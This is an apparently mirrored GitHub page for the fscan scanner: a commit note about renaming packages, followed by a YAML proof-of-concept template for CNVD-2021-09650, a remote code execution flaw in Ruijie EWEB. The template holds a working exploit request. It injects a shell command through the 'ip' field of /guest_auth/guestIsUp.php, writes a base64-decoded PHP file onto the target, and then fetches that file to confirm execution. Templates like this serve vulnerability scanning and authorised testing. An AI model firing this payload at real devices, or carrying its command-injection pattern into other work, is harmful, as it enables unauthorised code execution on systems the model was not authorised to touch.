mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
c2b63a57e2
- 重命名 Common -> common，WebScan -> webscan，遵循 Go 包命名约定 - 修复模块路径大小写不匹配导致的编译错误 - 清理依赖项，优化 go.mod 文件 - 添加 Docker 测试环境配置文件 - 新增镜像拉取脚本以处理网络超时问题 - 成功编译生成 fscan v2.2.1 可执行文件 该修复解决了 Linux 系统下包名大小写敏感导致的模块解析失败问题。
24 lines
678 B
YAML
24 lines
678 B
YAML
name: poc-yaml-ruijie-eweb-rce-cnvd-2021-09650
|
|
set:
|
|
r1: randomLowercase(4)
|
|
r2: randomLowercase(4)
|
|
phpcode: >
|
|
"<?php echo '" + r1 + "'; unlink(__FILE__); ?>"
|
|
payload: base64(phpcode)
|
|
rules:
|
|
- method: POST
|
|
path: /guest_auth/guestIsUp.php
|
|
body: |
|
|
ip=127.0.0.1|echo '{{payload}}' | base64 -d > {{r2}}.php&mac=00-00
|
|
expression: |
|
|
response.status == 200
|
|
- method: GET
|
|
path: /guest_auth/{{r2}}.php
|
|
expression: |
|
|
response.status == 200 && response.body.bcontains(bytes(r1))
|
|
detail:
|
|
author: White(https://github.com/WhiteHSBG)
|
|
links:
|
|
- https://xz.aliyun.com/t/9016?page=1
|
|
- https://www.ruijie.com.cn/gy/xw-aqtg-gw/86747/
|